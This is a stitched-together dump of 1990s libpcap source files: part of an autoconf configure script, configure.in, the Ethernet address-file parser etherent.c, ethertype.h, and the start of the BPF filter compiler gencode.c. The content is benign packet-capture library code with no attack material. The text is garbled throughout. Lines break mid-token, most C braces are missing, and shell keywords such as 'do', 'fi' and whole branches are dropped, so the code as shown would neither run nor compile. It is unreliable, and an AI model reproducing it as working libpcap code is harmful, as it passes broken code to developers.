's/^\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\)=\(.*\)/\1=${\1=\2}/p'
;;
esac >> confcache
if cmp -s $cache_file confcache; then
else
if test -w $cache_file; then
echo "updating cache
$cache_file"
cat confcache
> $cache_file
else
echo "not updating unwritable cache
$cache_file"
fi
rm -f
confcache
trap 'rm -fr conftest* confdefs* core core.* *.core
$ac_clean_files; exit 1' 1 2 15
test "x$prefix" = xNONE
&& prefix=$ac_default_prefix
# Let make expand exec_prefix.
test
"x$exec_prefix" = xNONE && exec_prefix='${prefix}'
# Any
assignment to VPATH causes Sun make to only execute
# the first set of
double-colon rules, so remove it if not needed.
# If there is a colon in
the path, we need to keep it.
if test "x$srcdir" = x.;
then
ac_vpsub='/^[ ]*VPATH[ ]*=[^:]*$/d'
trap
'rm -f $CONFIG_STATUS conftest*; exit 1' 1 2 15
# Transform confdefs.h
into DEFS.
# Protect against shell expansion while executing Makefile
rules.
# Protect against Makefile macro expansion.
cat >
conftest.defs <<\EOF
s%#define \([A-Za-z_][A-Za-z0-9_]*\)
*\(.*\)%-D\1=\2%g
s%[ `~#$^&*(){}\\|;'"<>?]%\\&%g
s%\[%\\&%g
s%\]%\\&%g
s%\$%$$%g
DEFS=`sed
-f conftest.defs confdefs.h | tr '\012' ' '`
rm -f conftest.defs
#
Without the "./", some shells look in PATH for config.status.
:
${CONFIG_STATUS=./config.status}
echo creating $CONFIG_STATUS
rm -f
$CONFIG_STATUS
cat > $CONFIG_STATUS <<EOF
#! /bin/sh
#
Generated automatically by configure.
# Run this file to recreate the
current configuration.
# This directory was configured as follows,
#
on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
# $0
$ac_configure_args
# Compiler output produced by configure, useful for
debugging
# configure, is in ./config.log if it exists.
ac_cs_usage="Usage:
$CONFIG_STATUS [--recheck] [--version] [--help]"
for ac_option
case "\$ac_option" in
-recheck | --recheck | --rechec | --reche |
--rech | --rec | --re | --r)
echo "running \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args
--no-create --no-recursion"
exec \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create
--no-recursion ;;
-version | --version
| --versio | --versi | --vers | --ver | --ve | --v)
echo "$CONFIG_STATUS generated by
autoconf version 2.12"
exit 0 ;;
-help | --help |
--hel | --he | --h)
echo
"\$ac_cs_usage"; exit 0 ;;
*) echo "\$ac_cs_usage"; exit 1 ;;
esac
done
ac_given_srcdir=$srcdir
ac_given_INSTALL="$INSTALL"
trap
'rm -fr `echo "Makefile" | sed "s/:[^ ]*//g"` conftest*;
exit 1' 1 2 15
cat >> $CONFIG_STATUS <<EOF
# Protect
against being on the right side of a sed subst in config.status.
sed
's/%@/@@/; s/@%/@@/; s/%g\$/@g/; /@g\$/s/[\\\\&%]/\\\\&/g;
s/@@/%@/; s/@@/@%/; s/@g\$/%g/' >
conftest.subs <<\\CEOF
$ac_vpsub
$extrasub
s%@CFLAGS@%$CFLAGS%g
s%@CPPFLAGS@%$CPPFLAGS%g
s%@CXXFLAGS@%$CXXFLAGS%g
s%@DEFS@%$DEFS%g
s%@LDFLAGS@%$LDFLAGS%g
s%@LIBS@%$LIBS%g
s%@exec_prefix@%$exec_prefix%g
s%@prefix@%$prefix%g
s%@program_transform_name@%$program_transform_name%g
s%@bindir@%$bindir%g
s%@sbindir@%$sbindir%g
s%@libexecdir@%$libexecdir%g
s%@datadir@%$datadir%g
s%@sysconfdir@%$sysconfdir%g
s%@sharedstatedir@%$sharedstatedir%g
s%@localstatedir@%$localstatedir%g
s%@libdir@%$libdir%g
s%@includedir@%$includedir%g
s%@oldincludedir@%$oldincludedir%g
s%@infodir@%$infodir%g
s%@mandir@%$mandir%g
s%@host@%$host%g
s%@host_alias@%$host_alias%g
s%@host_cpu@%$host_cpu%g
s%@host_vendor@%$host_vendor%g
s%@host_os@%$host_os%g
s%@target@%$target%g
s%@target_alias@%$target_alias%g
s%@target_cpu@%$target_cpu%g
s%@target_vendor@%$target_vendor%g
s%@target_os@%$target_os%g
s%@build@%$build%g
s%@build_alias@%$build_alias%g
s%@build_cpu@%$build_cpu%g
s%@build_vendor@%$build_vendor%g
s%@build_os@%$build_os%g
s%@SHLICC2@%$SHLICC2%g
s%@CC@%$CC%g
s%@CPP@%$CPP%g
s%@V_LEX@%$V_LEX%g
s%@V_YACC@%$V_YACC%g
s%@V_RANLIB@%$V_RANLIB%g
s%@V_CCOPT@%$V_CCOPT%g
s%@V_INCLS@%$V_INCLS%g
s%@V_PCAP@%$V_PCAP%g
s%@INSTALL_PROGRAM@%$INSTALL_PROGRAM%g
s%@INSTALL_DATA@%$INSTALL_DATA%g
CEOF
cat
>> $CONFIG_STATUS <<\EOF
# Split the substitutions into
bite-sized pieces for seds with
# small command number limits, like on
Digital OSF/1 and HP-UX.
ac_max_sed_cmds=90 # Maximum number of lines to
put in a sed script.
ac_file=1 # Number of current file.
ac_beg=1 #
First line for current file.
ac_end=$ac_max_sed_cmds # Line after last
line for current file.
ac_more_lines=:
ac_sed_cmds=""
while
$ac_more_lines; do
if test
$ac_beg -gt 1; then
sed
"1,${ac_beg}d; ${ac_end}q" conftest.subs >
conftest.s$ac_file
else
sed "${ac_end}q" conftest.subs
> conftest.s$ac_file
fi
if test ! -s conftest.s$ac_file; then
ac_more_lines=false
rm -f conftest.s$ac_file
else
if test -z "$ac_sed_cmds"; then
ac_sed_cmds="sed -f
conftest.s$ac_file"
else
ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file"
fi
ac_file=`expr $ac_file + 1`
ac_beg=$ac_end
ac_end=`expr $ac_end + $ac_max_sed_cmds`
fi
done
if test -z "$ac_sed_cmds"; then
ac_sed_cmds=cat
cat >>
$CONFIG_STATUS <<EOF
CONFIG_FILES=\${CONFIG_FILES-"Makefile"}
cat
>> $CONFIG_STATUS <<\EOF
for ac_file in .. $CONFIG_FILES; do
if test "x$ac_file" != x..; then
# Support "outfile[:infile[:infile...]]", defaulting
infile="outfile.in".
case "$ac_file" in
*:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'`
ac_file=`echo "$ac_file"|sed
's%:.*%%'` ;;
*)
ac_file_in="${ac_file}.in" ;;
esac
# Adjust a relative
srcdir, top_srcdir, and INSTALL for subdirectories.
# Remove last slash and all that follows
it. Not all systems have dirname.
ac_dir=`echo $ac_file|sed
's%/[^/][^/]*$%%'`
if test
"$ac_dir" != "$ac_file" && test "$ac_dir"
!= .; then
# The file is in a
subdirectory.
test ! -d "$ac_dir"
&& mkdir "$ac_dir"
ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`"
# A "../" for each directory in
$ac_dir_suffix.
ac_dots=`echo
$ac_dir_suffix|sed 's%/[^/]*%../%g'`
else
ac_dir_suffix=
ac_dots=
fi
case "$ac_given_srcdir" in
.) srcdir=.
if test -z "$ac_dots"; then
top_srcdir=.
else
top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;;
/*) srcdir="$ac_given_srcdir$ac_dir_suffix";
top_srcdir="$ac_given_srcdir" ;;
*) # Relative path.
srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix"
top_srcdir="$ac_dots$ac_given_srcdir" ;;
esac
case "$ac_given_INSTALL" in
[/$]*) INSTALL="$ac_given_INSTALL" ;;
*)
INSTALL="$ac_dots$ac_given_INSTALL" ;;
esac
echo creating "$ac_file"
rm -f "$ac_file"
configure_input="Generated automatically from `echo $ac_file_in|sed
's%.*/%%'` by configure."
case "$ac_file" in
*Makefile*) ac_comsub="1i\\
# $configure_input" ;;
*) ac_comsub= ;;
esac
ac_file_inputs=`echo $ac_file_in|sed -e
"s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"`
sed -e "$ac_comsub
s%@configure_input@%$configure_input%g
s%@srcdir@%$srcdir%g
s%@top_srcdir@%$top_srcdir%g
s%@INSTALL@%$INSTALL%g
"
$ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file
fi;
done
rm -f conftest.s*
cat >> $CONFIG_STATUS <<EOF
cat
>> $CONFIG_STATUS <<\EOF
exit 0
chmod +x
$CONFIG_STATUS
rm -fr confdefs* $ac_clean_files
test
"$no_create" = yes || ${CONFIG_SHELL-/bin/sh} $CONFIG_STATUS || exit
1
if test -f .devel ; then
make
depend
exit 0
dnl @(#) $Header: configure.in,v 1.67 97/07/27 22:16:17
leres Exp $ (LBL)
dnl Copyright (c) 1994, 1995, 1996, 1997
dnl The Regents of the University of
California. All rights reserved.
dnl
Process this file with autoconf to produce a configure script.
AC_INIT(pcap.c)
AC_CANONICAL_SYSTEM
umask
002
if test -z "$PWD" ; then
PWD=`pwd`
AC_LBL_C_INIT(V_CCOPT, V_INCLS)
AC_CHECK_HEADERS(malloc.h
sys/ioccom.h sys/sockio.h)
AC_LBL_FIXINCLUDES
AC_CHECK_FUNCS(ether_hostton
strerror)
dnl Not all versions of test support -c (character special) but
it's a
dnl better way of testing since the device might be protected. So
we
dnl check in our normal order using -r and then check the for the
/dev
dnl guys again using -c.
AC_ARG_WITH(pcap, [ --with-pcap=TYPE use packet capture TYPE])
AC_MSG_CHECKING(packet
capture type)
if test ! -z "$with_pcap" ; then
V_PCAP="$withval"
elif test
-r /dev/bpf0 ; then
V_PCAP=bpf
elif
test -r /usr/include/net/pfilt.h ; then
V_PCAP=pf
elif
test -r /dev/enet ; then
V_PCAP=enet
elif
test -r /dev/nit ; then
V_PCAP=snit
elif
test -r /usr/include/sys/net/nit.h ; then
V_PCAP=nit
elif
test -r /usr/include/net/raw.h ; then
V_PCAP=snoop
elif
test -r /usr/include/sys/dlpi.h ; then
V_PCAP=dlpi
elif
test -r /usr/include/linux/socket.h ; then
V_PCAP=linux
elif test -c /dev/bpf0 ; then #
check again in case not readable
V_PCAP=bpf
elif
test -c /dev/enet ; then # check again in case not readable
V_PCAP=enet
elif test -c /dev/nit ;
then #
check again in case not readable
V_PCAP=snit
else
V_PCAP=null
AC_MSG_RESULT($V_PCAP)
case
"$V_PCAP" in
dlpi)
AC_CHECK_HEADERS(sys/bufmod.h
sys/dlpi_ext.h)
AC_MSG_CHECKING(for
/dev/dlpi device)
if test -c
/dev/dlpi ; then
AC_MSG_RESULT(yes)
AC_DEFINE(HAVE_DEV_DLPI)
else
AC_MSG_RESULT(no)
dir="/dev/dlpi"
AC_MSG_CHECKING(for
$dir directory)
if test -d $dir ; then
AC_MSG_RESULT(yes)
AC_DEFINE_UNQUOTED(PCAP_DEV_PREFIX,
"$dir")
else
AC_MSG_RESULT(no)
fi
linux)
AC_CHECK_HEADERS(net/if_arp.h)
AC_MSG_CHECKING(Linux kernel
version)
AC_CACHE_VAL(ac_cv_linux_vers,
ac_cv_linux_vers=`uname -r 2>&1 | \
sed -n -e '$s/.* //'
-e '$s/\..*//p'`)
AC_MSG_RESULT($ac_cv_linux_vers)
if test $ac_cv_linux_vers -lt 2 ;
then
AC_MSG_ERROR(version 2 or higher required; see the INSTALL doc
for more info)
null)
AC_MSG_WARN(cannot
determine packet capture interface)
AC_MSG_WARN((see
the INSTALL doc for more info))
esac
AC_LBL_LEX_AND_YACC(V_LEX,
V_YACC, pcap_)
case "$target_os" in
aix*)
dnl Workaround to enable certain
features
AC_DEFINE(_SUN)
hpux9*)
AC_DEFINE(HAVE_HPUX9)
hpux10.0*)
hpux10.1*)
hpux*)
dnl HPUX 10.20 and above is similar to
HPUX 9...
AC_DEFINE(HAVE_HPUX10_20)
sinix*)
AC_MSG_CHECKING(if SINIX compiler defines
sinix)
AC_CACHE_VAL(ac_cv_cc_sinix_defined,
AC_TRY_COMPILE(
[],
[int i = sinix;],
ac_cv_cc_sinix_defined=yes,
ac_cv_cc_sinix_defined=no))
AC_MSG_RESULT($ac_cv_cc_sinix_defined)
if test
$ac_cv_cc_sinix_defined = no ; then
AC_DEFINE(sinix)
fi
solaris*)
AC_DEFINE(HAVE_SOLARIS)
linux*)
V_INCLS="$V_INCLS
-Ilinux-include"
esac
AC_CHECK_PROGS(V_RANLIB, ranlib,
@true)
AC_LBL_DEVEL(V_CCOPT)
AC_LBL_SOCKADDR_SA_LEN
AC_LBL_UNALIGNED_ACCESS
if
test "${srcdir}" = "." ; then
srcdirprefix=""
else
srcdirprefix="./"
if test
-r ${srcdirprefix}lbl/gnuc.h ; then
rm
-f gnuc.h
ln -s ${srcdirprefix}lbl/gnuc.h
gnuc.h
rm -f bpf_filter.c
ln -s ${srcdirprefix}bpf/net/bpf_filter.c
bpf_filter.c
rm -f net
ln -s ${srcdirprefix}bpf/net net
AC_SUBST(V_CCOPT)
AC_SUBST(V_INCLS)
AC_SUBST(V_LEX)
AC_SUBST(V_PCAP)
AC_SUBST(V_RANLIB)
AC_SUBST(V_YACC)
AC_PROG_INSTALL
AC_OUTPUT(Makefile)
if
test -f .devel ; then
make
depend
exit 0
* Copyright (c)
1990, 1993, 1994, 1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: etherent.c,v 1.20
96/09/26 23:28:00 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <ctype.h>
#include
<memory.h>
#include <stdio.h>
#include
<string.h>
#include "pcap-int.h"
#include
<pcap-namedb.h>
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static
inline int xdtoi(int);
static inline int skip_space(FILE *);
static
inline int skip_line(FILE *);
/* Hex digit to integer. */
static
inline int
xdtoi(c)
register
int c;
if (isdigit(c))
return
c - '0';
else if
(islower(c))
return c - 'a' + 10;
else
return c - 'A' + 10;
static inline
int
skip_space(f)
FILE
*f;
int c;
do {
c = getc(f);
} while (isspace(c) && c != '\n');
return c;
static inline int
skip_line(f)
FILE *f;
int c;
c = getc(f);
while (c != '\n' && c != EOF);
return c;
struct pcap_etherent
*
pcap_next_etherent(FILE *fp)
register
int c, d, i;
char *bp;
static struct pcap_etherent e;
memset((char *)&e, 0,
sizeof(e));
do {
/*
Find addr */
c = skip_space(fp);
if
(c == '\n')
continue;
/* If this is a
comment, or first thing on line
cannot be etehrnet address, skip the line.
*/
if (!isxdigit(c)) {
c = skip_line(fp);
continue;
/*
must be the start of an address */
for (i = 0; i < 6; i += 1) {
d
= xdtoi(c);
c = getc(fp);
if
(isxdigit(c)) {
d
<<= 4;
d
|= xdtoi(c);
c
= getc(fp);
}
e.addr[i] = d;
if
(c != ':')
break;
c
= getc(fp);
if (c == EOF)
break;
/*
Must be whitespace */
if (!isspace(c)) {
c
= skip_line(fp);
continue;
c =
skip_space(fp);
/* hit end of line... */
if
(c == '\n')
continue;
if (c == '#')
{
c = skip_line(fp);
continue;
/* pick up name
*/
bp = e.name;
/* Use 'd' to prevent buffer overflow.
*/
d = sizeof(e.name) - 1;
do {
*bp++ = c;
c =
getc(fp);
} while (!isspace(c) && c != EOF
&& --d > 0);
*bp = '\0';
/* Eat trailing junk
*/
if (c != '\n')
(void)skip_line(fp);
return
&e;
} while (c !=
EOF);
return (NULL);
* Copyright (c) 1993, 1994, 1996
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* @(#)
$Header: ethertype.h,v 1.6 96/07/14 18:21:49 leres Exp $ (LBL)
/* Types
missing from some systems */
#ifndef ETHERTYPE_NS
#define ETHERTYPE_NS 0x0600
#endif
#ifndef ETHERTYPE_SPRITE
#define ETHERTYPE_SPRITE 0x0500
#endif
#ifndef ETHERTYPE_TRAIL
#define
ETHERTYPE_TRAIL 0x1000
#endif
#ifndef ETHERTYPE_MOPDL
#define ETHERTYPE_MOPDL 0x6001
#endif
#ifndef ETHERTYPE_MOPRC
#define ETHERTYPE_MOPRC 0x6002
#endif
#ifndef ETHERTYPE_DN
#define ETHERTYPE_DN 0x6003
#endif
#ifndef ETHERTYPE_LAT
#define ETHERTYPE_LAT 0x6004
#endif
#ifndef
ETHERTYPE_SCA
#define ETHERTYPE_SCA 0x6007
#endif
#ifndef
ETHERTYPE_REVARP
#define ETHERTYPE_REVARP 0x8035
#endif
#ifndef ETHERTYPE_LANBRIDGE
#define ETHERTYPE_LANBRIDGE 0x8038
#endif
#ifndef ETHERTYPE_DECDNS
#define ETHERTYPE_DECDNS 0x803c
#endif
#ifndef ETHERTYPE_DECDTS
#define ETHERTYPE_DECDTS 0x803e
#endif
#ifndef ETHERTYPE_VEXP
#define ETHERTYPE_VEXP 0x805b
#endif
#ifndef ETHERTYPE_VPROD
#define ETHERTYPE_VPROD 0x805c
#endif
#ifndef
ETHERTYPE_ATALK
#define ETHERTYPE_ATALK 0x809b
#endif
#ifndef
ETHERTYPE_AARP
#define ETHERTYPE_AARP 0x80f3
#endif
#ifndef ETHERTYPE_LOOPBACK
#define ETHERTYPE_LOOPBACK 0x9000
#endif
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997,
1998
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: gencode.c,v 1.94 98/07/12
13:06:49 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/socket.h>
#include
<sys/time.h>
#if __STDC__
struct mbuf;
struct
rtentry;
#endif
#include <net/if.h>
#include
<netinet/in.h>
#include <netinet/if_ether.h>
#include
<stdlib.h>
#include <memory.h>
#include
<setjmp.h>
#if __STDC__
#include <stdarg.h>
#else
#include
<varargs.h>
#endif
#include "pcap-int.h"
#include
"ethertype.h"
#include "gencode.h"
#include
"ppp.h"
#include <pcap-namedb.h>
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
#define JMP(c)
((c)|BPF_JMP|BPF_K)
/* Locals */
static jmp_buf top_ctx;
static
pcap_t *bpf_pcap;
/* XXX */
#ifdef PCAP_FDDIPAD
int pcap_fddipad = PCAP_FDDIPAD;
#else
int pcap_fddipad;
#endif
/* VARARGS
*/
__dead void
#if __STDC__
bpf_error(const char *fmt,
...)
#else
bpf_error(fmt, va_alist)
const char *fmt;
va_dcl
#endif
va_list ap;
#if __STDC__
va_start(ap, fmt);
#else
va_start(ap);
#endif
if (bpf_pcap != NULL)
(void)vsprintf(pcap_geterr(bpf_pcap),
fmt, ap);
va_end(ap);
longjmp(top_ctx, 1);
/* NOTREACHED */
static void
init_linktype(int);
static int alloc_reg(void);
static void
free_reg(int);
static struct block *root;
* We divy out chunks of memory rather than call malloc each time
so
* we don't have to worry about
leaking memory. It's probably
* not a big deal if all this memory was
wasted but it this ever
* goes
into a library that would probably not be a good idea.
#define NCHUNKS
16
#define CHUNK0SIZE 1024
struct chunk {
u_int n_left;
void *m;
static struct chunk chunks[NCHUNKS];
static
int cur_chunk;
static void *newchunk(u_int);
static void
freechunks(void);
static inline struct block *new_block(int);
static
inline struct slist *new_stmt(int);
static struct block
*gen_retblk(int);
static inline void syntax(void);
static void
backpatch(struct block *, struct block *);
static void merge(struct block
*, struct block *);
static struct block *gen_cmp(u_int, u_int,
bpf_int32);
static struct block *gen_mcmp(u_int, u_int, bpf_int32,
bpf_u_int32);
static struct block *gen_bcmp(u_int, u_int, const u_char
*);
static struct block *gen_uncond(int);
static inline struct block
*gen_true(void);
static inline struct block *gen_false(void);
static
struct block *gen_linktype(int);
static struct block
*gen_hostop(bpf_u_int32, bpf_u_int32, int, int, u_int, u_int);
static
struct block *gen_ehostop(const u_char *, int);
static struct block
*gen_fhostop(const u_char *, int);
static struct block
*gen_dnhostop(bpf_u_int32, int, u_int);
static struct block
*gen_host(bpf_u_int32, bpf_u_int32, int, int);
static struct block
*gen_gateway(const u_char *, bpf_u_int32 **, int, int);
static struct
block *gen_ipfrag(void);
static struct block *gen_portatom(int,
bpf_int32);
struct block *gen_portop(int, int, int);
static struct
block *gen_port(int, int, int);
static int lookup_proto(const char *,
int);
static struct block *gen_proto(int, int, int);
static struct
slist *xfer_to_x(struct arth *);
static struct slist *xfer_to_a(struct
arth *);
static struct block *gen_len(int, int);
static void *
newchunk(n)
u_int n;
struct chunk *cp;
int
k, size;
/* XXX Round up to
nearest long. */
n = (n +
sizeof(long) - 1) & ~(sizeof(long) - 1);
cp = &chunks[cur_chunk];
if (n > cp->n_left) {
++cp, k =
++cur_chunk;
if (k >= NCHUNKS)
bpf_error("out
of memory");
size = CHUNK0SIZE << k;
cp->m
= (void *)malloc(size);
memset((char *)cp->m, 0, size);
cp->n_left
= size;
if (n > size)
bpf_error("out of
memory");
cp->n_left -=
n;
return (void *)((char
*)cp->m + cp->n_left);
static void
freechunks()
int i;
cur_chunk = 0;
for
(i = 0; i < NCHUNKS; ++i)
if (chunks[i].m != NULL) {
free(chunks[i].m);
chunks[i].m
= NULL;
* A strdup whose
allocations are freed after code generation is over.
char *
sdup(s)
register const char *s;
int n = strlen(s) + 1;
char *cp = newchunk(n);
strcpy(cp, s);
return (cp);
static inline struct
block *
new_block(code)
int
code;
struct block *p;
p = (struct block
*)newchunk(sizeof(*p));
p->s.code
= code;
p->head = p;
return p;
static inline struct slist *
new_stmt(code)
int code;
struct slist *p;
p
= (struct slist *)newchunk(sizeof(*p));
p->s.code
= code;
return p;
static
struct block *
gen_retblk(v)
int
v;
struct block *b =
new_block(BPF_RET|BPF_K);
b->s.k
= v;
return b;
static
inline void
syntax()
bpf_error("syntax
error in filter expression");
static bpf_u_int32 netmask;
static
int snaplen;
pcap_compile(pcap_t *p, struct bpf_program *program,
char *buf, int optimize, bpf_u_int32 mask)
extern int n_errors;
int
len;
n_errors = 0;
root = NULL;
bpf_pcap = p;
if
(setjmp(top_ctx)) {
freechunks();
return (-1);
netmask = mask;
snaplen = pcap_snapshot(p);
lex_init(buf ? buf : "");
init_linktype(pcap_datalink(p));
(void)pcap_parse();
if (n_errors)
syntax();
if (root == NULL)
root
= gen_retblk(snaplen);
if
(optimize) {
bpf_optimize(&root);
if
(root == NULL ||
(root->s.code == (BPF_RET|BPF_K)
&& root->s.k == 0))
bpf_error("expression rejects all
packets");
program->bf_insns
= icode_to_fcode(root, &len);
program->bf_len
= len;
freechunks();
return (0);
* Backpatch the blocks in 'list' to
'target'. The 'sense' field
indicates
* which of the jt and jf
fields has been resolved and which is a pointer
* back to another unresolved block (or nil). At least one of the fields
* in each block is already resolved.
static
void
backpatch(list, target)
struct
block *list, *target;
struct
block *next;
while (list)
{
if (!list->sense) {
next = JT(list);
JT(list)
= target;
} else {
next =
JF(list);
JF(list) = target;
list
= next;
* Merge the lists in b0
and b1, using the 'sense' field to indicate
* which of jt and jf is the link.
static void
merge(b0,
b1)
struct block *b0,
*b1;
register struct block **p
= &b0;
/* Find end of list.
*/
while (*p)
p
= !((*p)->sense) ? &JT(*p) : &JF(*p);
/* Concatenate the lists. */
*p = b1;
void
finish_parse(p)
struct block *p;
backpatch(p, gen_retblk(snaplen));
p->sense = !p->sense;
backpatch(p, gen_retblk(0));
root = p->head;
void
gen_and(b0,
b1)
struct block *b0,
*b1;
backpatch(b0,
b1->head);
b0->sense =
!b0->sense;
b1->sense =
!b1->sense;
merge(b1,
b0);
b1->sense =
!b1->sense;
b1->head =
b0->head;
void
gen_or(b0, b1)
struct block *b0, *b1;
b0->sense
= !b0->sense;
backpatch(b0,
b1->head);
b0->sense =
!b0->sense;
merge(b1,
b0);
b1->head =
b0->head;
void
gen_not(b)
struct
block *b;
b->sense =
!b->sense;
static struct block *
gen_cmp(offset, size, v)
u_int offset, size;
bpf_int32 v;
struct slist *s;
struct
block *b;
s =
new_stmt(BPF_LD|BPF_ABS|size);
s->s.k
= offset;
b =
new_block(JMP(BPF_JEQ));
b->stmts
= s;
b->s.k = v;
return b;
static struct block *
gen_mcmp(offset,
size, v, mask)
u_int offset,
size;
bpf_int32 v;
bpf_u_int32 mask;
struct block *b = gen_cmp(offset, size,
v);
struct slist *s;
if (mask != 0xffffffff) {
s
= new_stmt(BPF_ALU|BPF_AND|BPF_K);
s->s.k = mask;
b->stmts->next
= s;
return b;
static
struct block *
gen_bcmp(offset, size, v)
register u_int offset, size;
register const u_char *v;
register
struct block *b, *tmp;
b =
NULL;
while (size >= 4)
{
register const u_char *p = &v[size - 4];
bpf_int32
w = ((bpf_int32)p[0] << 24) |
((bpf_int32)p[1] << 16) |
((bpf_int32)p[2] << 8) | p[3];
tmp = gen_cmp(offset + size - 4, BPF_W,
w);
if (b != NULL)
gen_and(b, tmp);
b
= tmp;
size -= 4;
while
(size >= 2) {
register const u_char *p = &v[size -
2];
bpf_int32 w = ((bpf_int32)p[0] << 8) | p[1];
tmp
= gen_cmp(offset + size - 2, BPF_H, w);
if (b != NULL)
gen_and(b,
tmp);
b = tmp;
size -= 2;
if (size > 0) {
tmp = gen_cmp(offset, BPF_B,
(bpf_int32)v[0]);
if (b != NULL)
gen_and(b,
tmp);
b = tmp;
return
b;
* Various code constructs need
to know the layout of the data link
* layer. These variables
give the necessary offsets. off_linktype
* is set to -1 for no encapsulation, in which
case, IP is assumed.
static u_int off_linktype;
static u_int
off_nl;
static int linktype;
static void
init_linktype(type)
int type;
linktype = type;
switch
(type) {
case DLT_EN10MB:
off_linktype
= 12;
off_nl = 14;
return;
case DLT_SLIP:
/*
* SLIP doesn't have a link level type. The 16 byte
* header is
hacked into our SLIP driver.
*/
off_linktype = -1;
off_nl
= 16;
return;
case
DLT_SLIP_BSDOS:
/* XXX this may be the same as the
DLT_PPP_BSDOS case */
off_linktype = -1;
/*
XXX end */
off_nl = 24;
return;
case DLT_NULL:
off_linktype
= 0;
off_nl = 4;
return;
case DLT_PPP:
off_linktype = 2;
off_nl
= 4;
return;
case
DLT_PPP_BSDOS:
off_linktype = 5;
off_nl
= 24;
return;
case
DLT_FDDI:
/*
* FDDI doesn't really have a link-level type
field.
* We assume that SSAP = SNAP is being used
and pick
* out the encapsulated Ethernet type.
*/
off_linktype = 19;
#ifdef
PCAP_FDDIPAD
off_linktype += pcap_fddipad;
#endif
off_nl
= 21;
#ifdef PCAP_FDDIPAD
off_nl += pcap_fddipad;
#endif
return;
case DLT_IEEE802:
off_linktype
= 20;
off_nl = 22;
return;
case DLT_ATM_RFC1483:
/*
* assume routed, non-ISO PDUs
* (i.e., LLC = 0xAA-AA-03, OUT = 0x00-00-00)
*/
off_linktype = 6;
off_nl
= 8;
return;
case
DLT_RAW:
off_linktype = -1;
off_nl
= 0;
return;
bpf_error("unknown
data link type 0x%x", linktype);
/*
NOTREACHED */
static struct block *
gen_uncond(rsense)
int rsense;
struct block *b;
struct
slist *s;
s =
new_stmt(BPF_LD|BPF_IMM);
s->s.k
= !rsense;
b =
new_block(JMP(BPF_JEQ));
b->stmts
= s;
return b;
static
inline struct block *
gen_true()
return
gen_uncond(1);
static inline struct block *
gen_false()
return gen_uncond(0);
static struct
block *
gen_linktype(proto)
register
int proto;
struct block *b0,
*b1;
/* If we're not using
encapsulation and checking for IP, we're done */
if (off_linktype == -1 && proto == ETHERTYPE_IP)
return
gen_true();
switch (linktype) {
case DLT_SLIP:
return
gen_false();
case
DLT_PPP:
if (proto == ETHERTYPE_IP)
proto
= PPP_IP; /* XXX was 0x21
*/
break;
case
DLT_PPP_BSDOS:
switch (proto) {
case
ETHERTYPE_IP:
b0 = gen_cmp(off_linktype, BPF_H,
PPP_IP);
b1 = gen_cmp(off_linktype, BPF_H,
PPP_VJC);
gen_or(b0, b1);
b0
= gen_cmp(off_linktype, BPF_H, PPP_VJNC);
gen_or(b1, b0);
return
b0;
case ETHERTYPE_DN:
proto = PPP_DECNET;
break;
case
ETHERTYPE_ATALK:
